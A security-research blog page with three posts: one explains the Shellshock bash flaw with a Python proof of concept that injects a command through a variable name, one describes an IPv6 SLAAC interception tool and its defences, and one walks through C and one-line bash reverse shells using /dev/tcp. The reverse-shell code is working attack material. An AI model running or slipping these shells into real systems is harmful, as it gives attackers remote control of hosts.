Shellshock without the Shellac

A post by our exploit-herder in residence, Jason Royes

The Problem

Have you heard about Shellshock? If not, you may be living under a rock. To summarize:

If an application sets an environment variable name or value to a value that is derived from user input and subsequently executes bash (and possibly other shells), an attacker may be able to execute arbitrary code.

But WHY

When I first read the post from Robert Graham, my first thought was: “when did we begin storing function definitions in environment variables?” I scanned through the section of the bash manual dedicated to environment variables and could not find anything on the topic.

I knew I was not alone after googling and finding this on Stack Overflow. Luckily, I had an old VM handy that I never update.

Here’s bash:

$ bash --version
GNU bash, version 4.2.24(1)-release (i686-pc-linux-gnu)

So, according to the stack overflow article, what’s actually going on is that bash stores exported functions in the environment.

$ f1
f1: command not found

Let us create a file that will define a function and export it:

$ cat f1.sh
#! /bin/bash

f1() {
echo "in f1"
}

export -f f1

Now to include it:

$ source f1.sh

Voila, f1 is now defined within the shell environment.

$ env|grep -A1 f1
f1=() {  echo "in f1"
}

If you’ve already read about the Shellshock attack, the value of f1 above should look familiar.

Bash 4.2 and Exported Functions

Bash 4.2 (vulnerable) processes environment variables in initialize_shell_variables (see variables.c). What happens when an environment variable has a value that begins with “() {“? A new buffer is allocated and the variable name is concatenated with the variable’s value. This basically creates a normal bash function declaration. The concatenated string is then evaluated with parse_and_execute:

temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

Imagine an exported function named f1 that has a value resembling “() { ls -l; }”. The code above combines the name and value into temp_string, resulting in “f1() { ls -l; }”. This string is then evaluated and a function definition is burnt in memory.

The vulnerability arises because user input is being evaluated directly with the same function used to evaluate all other bash commands. If commands are appended to the end of the function definition, ex. “() { ls -l; }; ps”, they are executed. This is because they fall outside the bounds of the function declaration and so are treated just like they would be in a regular bash script. Note that anything inside the function declaration should not be executed unless the function is invoked.

The construction of temp_string also means an attacker can inject through the environment variable name. For example:

$ ./ss-name.py
total 6868
drwxrwxr-x 12 user1 user1    4096 Feb 13 17:28 bash-4.2
-rw-rw-r--  1 user1 user1 7009201 Feb 13  2011 bash-4.2.tar.gz
-rw-rw-r--  1 user1 user1      52 Feb 13 16:19 f1.sh
-rw-rw-r--  1 user1 user1      49 Feb 13 16:47 f2.sh
-rwxrwxr-x  1 user1 user1     101 Feb 13 17:30 ss-name.py
-rwxrwxr-x  1 user1 user1      96 Feb 13 16:58 ss-test.py
Segmentation fault

Whoops! Bonus segfault. Here’s ss-name.py:

#! /usr/bin/python
import os

os.putenv('ls -l;a', '() { echo "in f2"; };')
os.system('bash -c f2')

Bash 4.3 and Exported Functions

The bash patch seems fairly concise. The patch now includes a check to make sure the variable name only contains legal characters (thwarting injection through name). There’s also a new flag called SEVAL_FUNCDEF. If parse_and_execute parses a command that is not a function definition and this flag is set, an error condition results.

This seems to correct the issue, however, relying on the function parsing code still feels dicey.

Perhaps there are other ways around these new defenses yet to be revealed.

Picking Up The SLAAC With Sudden Six

By Brent Bandelgar and Scott Behrens

The people that run The Internet have been clamoring for years for increased adoption of IPv6, the next generation Internet Protocol. Modern operating systems, such as Windows 8 and Mac OS X, come out of the box ready and willing to use IPv6, but most networks still have only IPv4. This is a problem because the administrators of those networks may not be expecting any IPv6 activity and only have IPv4 monitoring and defenses in place.

In 2011, Alec Waters wrote a guide on how to take advantage of the fact that Windows Vista and Windows 7 were ‘out of the box’ configured to support IPv6. Dubbed the “SLAAC Attack”, his guide described how to set up a host that advertised itself as an IPv6 router, so that Windows clients would prefer to send their requests to this IPv6 host router first, which would then resend the requests along to the legitimate IPv4 router on their behalf.

This past winter, we at Neohapsis Labs tried to recreate the SLAAC Attack to test it against Windows 8 and make it easy to deploy during our own penetration tests.

We came up with a set of standard packages and accompanying configuration files that worked, then created a script to automate this process, which we call “Sudden Six.” It can quickly create an IPv6 overlay network and the intermediate translation to IPv4 with little more than a base Ubuntu Linux or Kali Linux installation, an available IPv4 address on the target network, and about a minute or so to download and install the packages.

Windows 8 on Sudden Six

Windows 8 on Sudden Six

As with the SLAAC Attack described by Waters, this works against networks that only have IPv4 connectivity and do not have IPv6 infrastructure and defenses deployed. The attack establishes a transparent IPv6 network on top of the IPv4 infrastructure. Attackers may take advantage of Operating Systems that prefer IPv6 traffic to force those hosts to route their traffic over our IPv6 infrastructure so they can intercept and modify that communication.

To boil it down, attackers can conceivably (and fairly easily) weaponize an attack on our systems simply by leveraging this vulnerability. They could pretend to be an IPv6 router on your network and see all your web traffic, including data being sent to and from your machine. Even more lethal, the attacker could modify web pages to launch client-side attacks, meaning they could create fake websites that look like the ones you are trying to access, but send all data you enter back to the attacker (such as your username and password or credit card number).

As an example, we can imagine this type of attack being used to snoop on web traffic from employees browsing web sites. Even more lethal, the attackers could modify web pages to launch client-side attacks.

The most extreme way to mitigate the attack is to disable IPv6 on client machines. In Windows, this can be accomplished manually in each Network Adapter Properties panel or with GPO. Unfortunately, this would hinder IPv6 adoption. Instead, we would like to see more IPv6 networks being deployed, along with the defenses described in RFC 6105 and the Cisco First Hop Security Implementation Guide. This includes using features such as RA Guard, which allows administrators to configure a trusted switch port that will accept IPv6 Router Advertisement packets, indicating the legitimate IPv6 router.

At DEF CON 21, Brent Bandelgar and Scott Behrens will be presenting this attack as well as recommendations on how to protect your environment. You can find a more detailed abstract of our talk here. The talk will be held during Track 2 on Friday at 2 pm. In addition, on Friday we will be releasing the tool on the Neohapsis Github page.

Connect-Back Shell (Literally)

By: Cris Neckar

In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It’s that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don’t have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:

int main (int c, char **v) {
char *ex[4];
struct sockaddr_in s4;
int s;
s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4,sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
ex[0]="/bin/sh";
ex[1]="sh";
ex[2]=NULL;
execve(ex[0],&ex[1],NULL);
}

Thats all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.

Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the /dev/tcp and /dev/udp bashisms. These aren’t actual devices but instead filenames which are handled internally in bash.

From bash 3.2:

redir.c:
static STRING_INT_ALIST _redir_special_filenames[] = {
...
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
...
case RF_DEVTCP:
case RF_DEVUDP:
...
fd = netopen (filename);

netopen.c:
netopen (path) char *path; {
...
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <-- Opps, NULL ptr deref
s = np + 9;
t = strchr (s, '/');
...
*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);

This goes on to open a socket to the provided address and port making our format something like ‘/dev/tcp/hostname/port’.

So can this be used to implement a connect back shell? Lets break down the C code we have been using line by line.

First we open a file descriptor to a remote system on a given port. Great, thats exactly what /dev/tcp and /dev/udp do.

Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The ‘exec’ command is generally used to replace the bash process with another (ie. sys_execve(), sounds interesting for later on). One of the other interesting things about ‘exec’ is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate dup2() using only bash built-ins by doing the following:

$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin

$ exec 1>&0 # Next we copy stdin to stdout

$ exec 2>&0 # And finally stdin to stderr

Now all we have left to do is execve() /bin/sh and ‘exec’ can also take care of that for us. So to bring this all together we get the following command:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.

There is one caveat to all this. The /dev/tcp and /dev/udp redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.